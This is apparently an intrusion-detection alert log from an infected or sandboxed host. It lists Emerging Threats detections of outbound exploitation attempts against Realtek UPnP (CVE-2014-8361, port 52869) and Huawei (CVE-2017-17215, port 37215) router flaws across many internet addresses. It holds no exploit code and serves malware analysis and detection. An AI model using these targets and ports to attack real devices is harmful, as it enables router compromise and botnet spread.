07/20/24-23:01:03.407760	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53640	52869	192.168.2.23	91.10.179.128
07/20/24-23:01:11.630767	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46646	37215	192.168.2.23	81.64.188.238
07/20/24-23:01:20.169339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37634	37215	192.168.2.23	41.215.162.139
07/20/24-23:01:13.983744	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40058	52869	192.168.2.23	207.246.209.117
07/20/24-23:02:11.380126	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47888	52869	192.168.2.23	130.112.45.111
07/20/24-23:02:09.668312	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56908	52869	192.168.2.23	146.174.220.5
07/20/24-23:01:45.648154	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54326	52869	192.168.2.23	149.78.178.94
07/20/24-23:01:08.691384	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37212	52869	192.168.2.23	155.161.137.123
07/20/24-23:02:08.128674	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46790	52869	192.168.2.23	107.35.253.244
07/20/24-23:01:31.975158	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37716	37215	192.168.2.23	197.229.171.249
07/20/24-23:01:44.449742	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43924	52869	192.168.2.23	213.118.6.220
07/20/24-23:01:41.967549	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44984	52869	192.168.2.23	154.201.154.131
07/20/24-23:01:04.058922	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38558	37215	192.168.2.23	41.21.126.116
07/20/24-23:01:27.668073	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56550	37215	192.168.2.23	98.247.239.87
07/20/24-23:01:52.343511	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52950	52869	192.168.2.23	184.89.50.234
07/20/24-23:01:53.356560	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51592	52869	192.168.2.23	189.124.57.3
07/20/24-23:00:59.158278	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39054	37215	192.168.2.23	41.184.89.253
07/20/24-23:01:03.225977	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43060	52869	192.168.2.23	223.83.213.222
07/20/24-23:01:52.425638	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59232	52869	192.168.2.23	133.73.57.190
07/20/24-23:01:01.861410	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55224	52869	192.168.2.23	162.63.105.168
07/20/24-23:01:42.623848	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57578	52869	192.168.2.23	96.213.123.243
07/20/24-23:01:41.263057	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59984	52869	192.168.2.23	137.127.2.156
07/20/24-23:01:56.400580	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51140	52869	192.168.2.23	116.148.59.65
07/20/24-23:01:07.114267	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35822	37215	192.168.2.23	107.192.16.201
07/20/24-23:01:57.169212	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44662	52869	192.168.2.23	155.107.33.68
07/20/24-23:01:34.050313	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43576	37215	192.168.2.23	206.22.143.145
07/20/24-23:01:41.482016	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60160	52869	192.168.2.23	167.210.235.204
07/20/24-23:01:03.215254	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42804	52869	192.168.2.23	177.27.5.34
07/20/24-23:01:42.837135	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34854	52869	192.168.2.23	48.145.35.196
07/20/24-23:01:03.126921	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52722	52869	192.168.2.23	139.37.94.236
07/20/24-23:01:41.417573	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48124	52869	192.168.2.23	2.228.92.40
07/20/24-23:01:44.484644	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51464	52869	192.168.2.23	99.207.71.238
07/20/24-23:00:59.211046	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52812	37215	192.168.2.23	41.248.83.42
07/20/24-23:01:21.951975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39574	37215	192.168.2.23	197.169.42.163
07/20/24-23:01:12.852602	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37314	52869	192.168.2.23	104.80.144.32
07/20/24-23:01:49.750742	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42832	52869	192.168.2.23	67.179.229.220
07/20/24-23:01:31.991336	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53734	37215	192.168.2.23	41.126.24.60
07/20/24-23:01:45.967403	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48342	52869	192.168.2.23	158.240.85.125
07/20/24-23:01:27.651536	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38282	37215	192.168.2.23	104.187.254.126
07/20/24-23:02:13.672930	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36658	52869	192.168.2.23	128.140.142.60
07/20/24-23:01:45.010540	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53536	52869	192.168.2.23	17.241.55.92
07/20/24-23:01:42.944606	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38246	52869	192.168.2.23	24.28.111.138
07/20/24-23:01:01.410784	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49602	52869	192.168.2.23	114.57.93.253
07/20/24-23:01:42.718842	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37182	52869	192.168.2.23	165.221.172.161
07/20/24-23:01:24.915904	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36404	37215	192.168.2.23	197.160.117.230
07/20/24-23:01:57.795137	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54130	52869	192.168.2.23	129.174.206.130
07/20/24-23:01:07.005155	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39444	37215	192.168.2.23	41.187.195.110
07/20/24-23:01:31.331748	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42850	52869	192.168.2.23	113.130.121.87
07/20/24-23:01:08.611391	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34982	52869	192.168.2.23	178.251.54.152
07/20/24-23:01:46.092258	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56642	52869	192.168.2.23	88.29.47.240
07/20/24-23:01:44.440718	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55302	52869	192.168.2.23	49.137.23.5
07/20/24-23:01:53.122466	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53464	52869	192.168.2.23	81.50.220.234
07/20/24-23:01:53.537092	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60534	52869	192.168.2.23	167.207.100.170
07/20/24-23:01:04.039128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41724	37215	192.168.2.23	41.167.36.239
07/20/24-23:01:20.144672	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59710	37215	192.168.2.23	23.247.196.153
07/20/24-23:01:24.885895	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37752	37215	192.168.2.23	157.108.180.162
07/20/24-23:01:40.321300	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54292	37215	192.168.2.23	197.176.61.239
07/20/24-23:01:42.984532	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57404	52869	192.168.2.23	35.221.171.171
07/20/24-23:01:45.775798	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51568	52869	192.168.2.23	62.188.56.156
07/20/24-23:01:11.634372	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57382	37215	192.168.2.23	157.37.216.246
07/20/24-23:01:44.318262	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44880	52869	192.168.2.23	223.217.31.58
07/20/24-23:01:00.648489	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56996	37215	192.168.2.23	41.39.168.222
07/20/24-23:01:45.764338	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53368	52869	192.168.2.23	90.133.16.151
07/20/24-23:01:47.807536	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48546	52869	192.168.2.23	142.206.118.182
07/20/24-23:01:52.740670	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37902	52869	192.168.2.23	20.232.50.163
07/20/24-23:01:24.898476	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57642	37215	192.168.2.23	41.41.194.11
07/20/24-23:01:11.028341	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52050	52869	192.168.2.23	223.86.47.43
07/20/24-23:00:57.223015	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36772	37215	192.168.2.23	182.102.31.222
07/20/24-23:01:03.286497	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34874	52869	192.168.2.23	134.167.171.74
07/20/24-23:01:20.157619	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50048	37215	192.168.2.23	19.104.128.245
07/20/24-23:01:45.331813	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35310	52869	192.168.2.23	148.216.25.247
07/20/24-23:01:46.284457	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53406	52869	192.168.2.23	212.16.123.155
07/20/24-23:01:06.988055	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59684	37215	192.168.2.23	41.241.168.134
07/20/24-23:01:52.826575	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47194	52869	192.168.2.23	87.75.190.2
07/20/24-23:01:58.249114	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51848	52869	192.168.2.23	40.172.192.128
07/20/24-23:01:24.889164	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47164	37215	192.168.2.23	197.79.73.48
07/20/24-23:01:04.100971	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60250	37215	192.168.2.23	157.85.128.112
07/20/24-23:01:43.906354	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59750	52869	192.168.2.23	101.52.13.24
07/20/24-23:02:14.779973	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52536	52869	192.168.2.23	167.89.14.43
07/20/24-23:01:50.257796	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41528	52869	192.168.2.23	87.152.13.65
07/20/24-23:01:07.018425	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35004	37215	192.168.2.23	41.171.209.210
07/20/24-23:01:56.091033	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52910	52869	192.168.2.23	217.227.78.54
07/20/24-23:01:44.389834	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58038	52869	192.168.2.23	129.65.153.68
07/20/24-23:01:42.727936	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43048	52869	192.168.2.23	128.128.73.171
07/20/24-23:01:47.951292	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54036	52869	192.168.2.23	213.139.230.45
07/20/24-23:01:46.064501	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59702	52869	192.168.2.23	36.185.15.35
07/20/24-23:01:04.039128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39040	37215	192.168.2.23	151.22.190.51
07/20/24-23:01:20.598095	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35054	52869	192.168.2.23	73.36.171.85
07/20/24-23:01:42.914230	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52386	52869	192.168.2.23	67.74.166.37
07/20/24-23:01:44.624990	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51404	52869	192.168.2.23	223.103.54.206
07/20/24-23:00:59.157444	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47996	37215	192.168.2.23	157.75.190.222
07/20/24-23:01:08.598416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33108	52869	192.168.2.23	4.72.134.93
07/20/24-23:01:46.072415	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49980	52869	192.168.2.23	92.210.119.212
07/20/24-23:01:52.820390	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54914	52869	192.168.2.23	158.140.216.184
07/20/24-23:01:44.963815	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58050	52869	192.168.2.23	132.247.218.225
07/20/24-23:01:11.820149	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57558	37215	192.168.2.23	41.247.75.173
07/20/24-23:01:57.518588	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55242	52869	192.168.2.23	139.3.200.28
07/20/24-23:01:46.844704	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40656	52869	192.168.2.23	185.86.48.66
07/20/24-23:00:59.148144	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47490	37215	192.168.2.23	157.211.128.165
07/20/24-23:01:31.314147	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58588	52869	192.168.2.23	184.170.117.213
07/20/24-23:01:27.658221	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39066	37215	192.168.2.23	41.105.180.115
07/20/24-23:01:44.510114	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46904	52869	192.168.2.23	133.172.125.251
07/20/24-23:01:47.006773	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55532	52869	192.168.2.23	116.238.28.166
07/20/24-23:01:40.310207	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49548	37215	192.168.2.23	157.85.94.106
07/20/24-23:01:02.060344	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50014	37215	192.168.2.23	197.27.25.91
07/20/24-23:01:00.633578	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59562	37215	192.168.2.23	197.67.79.4
07/20/24-23:01:32.032492	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59880	37215	192.168.2.23	197.56.101.214
07/20/24-23:01:02.045831	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37860	37215	192.168.2.23	41.13.208.139
07/20/24-23:01:41.956472	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55608	52869	192.168.2.23	80.7.39.33
07/20/24-23:01:10.603142	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53562	52869	192.168.2.23	35.68.164.37
07/20/24-23:01:21.937814	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45388	37215	192.168.2.23	213.191.23.16
07/20/24-23:01:46.485082	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51436	52869	192.168.2.23	109.104.48.215
07/20/24-23:01:45.544315	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34768	52869	192.168.2.23	91.148.233.46
07/20/24-23:01:01.629050	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37134	52869	192.168.2.23	129.167.170.254
07/20/24-23:01:59.707284	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47538	52869	192.168.2.23	42.196.122.240
07/20/24-23:01:07.033766	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51332	37215	192.168.2.23	220.78.147.215
07/20/24-23:01:08.565610	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43736	52869	192.168.2.23	119.187.229.164
07/20/24-23:01:04.014688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49028	37215	192.168.2.23	197.202.235.206
07/20/24-23:01:42.827952	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40648	52869	192.168.2.23	192.160.62.15
07/20/24-23:01:46.520662	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36958	52869	192.168.2.23	37.115.2.79
07/20/24-23:01:00.645051	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47164	37215	192.168.2.23	157.63.143.206
07/20/24-23:01:42.908066	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55258	52869	192.168.2.23	91.160.10.25
07/20/24-23:01:44.311969	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33776	52869	192.168.2.23	192.101.61.62
07/20/24-23:02:00.908220	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56222	52869	192.168.2.23	192.173.75.154
07/20/24-23:01:08.650213	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34576	52869	192.168.2.23	86.86.67.253
07/20/24-23:01:58.028191	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40478	52869	192.168.2.23	175.65.204.131
07/20/24-23:01:06.973541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42644	37215	192.168.2.23	150.244.11.188
07/20/24-23:01:46.261793	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53988	52869	192.168.2.23	162.205.235.41
07/20/24-23:01:21.928521	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38596	37215	192.168.2.23	5.7.138.144
07/20/24-23:01:41.912337	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60206	52869	192.168.2.23	77.135.26.34
07/20/24-23:01:42.988853	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55828	52869	192.168.2.23	50.88.74.31
07/20/24-23:01:25.012815	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41020	52869	192.168.2.23	115.28.108.81
07/20/24-23:01:45.426290	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41698	52869	192.168.2.23	223.51.209.65
07/20/24-23:01:51.056707	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34134	52869	192.168.2.23	62.146.159.96
07/20/24-23:01:02.127340	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46616	37215	192.168.2.23	41.243.119.9
07/20/24-23:01:42.703494	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38988	52869	192.168.2.23	85.239.208.54
07/20/24-23:01:47.537829	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54900	52869	192.168.2.23	129.164.36.164
07/20/24-23:01:42.799973	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34198	52869	192.168.2.23	132.171.123.209
07/20/24-23:01:47.669469	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46694	52869	192.168.2.23	60.33.175.153
07/20/24-23:00:57.221145	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44014	37215	192.168.2.23	143.179.199.146
07/20/24-23:01:08.581974	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34926	52869	192.168.2.23	38.47.147.236
07/20/24-23:01:11.634372	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50486	37215	192.168.2.23	41.28.156.220
07/20/24-23:01:09.027075	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49516	52869	192.168.2.23	213.46.179.130
07/20/24-23:01:31.321189	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48790	52869	192.168.2.23	157.217.190.133
07/20/24-23:01:42.136561	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60018	52869	192.168.2.23	118.130.245.154
07/20/24-23:01:06.989167	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53032	37215	192.168.2.23	197.116.102.178
07/20/24-23:01:47.331200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46806	52869	192.168.2.23	191.68.229.244
07/20/24-23:01:56.013827	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57882	52869	192.168.2.23	114.121.50.137
07/20/24-23:01:46.855307	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36176	52869	192.168.2.23	211.143.251.133
07/20/24-23:01:47.532849	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40410	52869	192.168.2.23	43.128.21.230
07/20/24-23:01:44.405053	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53430	52869	192.168.2.23	83.99.82.220
07/20/24-23:01:26.125703	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36076	52869	192.168.2.23	149.142.97.135
07/20/24-23:00:57.221570	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53302	37215	192.168.2.23	157.143.196.120
07/20/24-23:02:00.371741	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41426	52869	192.168.2.23	39.135.72.98
07/20/24-23:01:20.096752	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58660	37215	192.168.2.23	197.114.190.173
07/20/24-23:01:42.072139	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42710	52869	192.168.2.23	113.10.123.41
07/20/24-23:01:42.334131	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55440	52869	192.168.2.23	87.76.92.180
07/20/24-23:01:57.360180	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48112	52869	192.168.2.23	220.91.249.28
07/20/24-23:01:00.635367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49432	37215	192.168.2.23	157.146.94.28
07/20/24-23:01:24.885849	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37496	37215	192.168.2.23	157.164.236.148
07/20/24-23:01:00.645051	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60910	37215	192.168.2.23	197.118.146.83
07/20/24-23:01:08.683684	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59490	52869	192.168.2.23	175.24.153.194
07/20/24-23:02:12.234515	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58290	52869	192.168.2.23	129.212.42.23
07/20/24-23:01:40.349275	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44140	37215	192.168.2.23	157.88.24.192
07/20/24-23:01:44.890268	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45790	52869	192.168.2.23	110.45.133.89
07/20/24-23:01:42.908066	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37598	52869	192.168.2.23	98.171.161.225
07/20/24-23:01:54.796749	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37158	52869	192.168.2.23	180.65.88.44
07/20/24-23:01:41.276434	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54756	52869	192.168.2.23	86.130.161.177
07/20/24-23:01:42.660847	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59292	52869	192.168.2.23	161.245.24.12
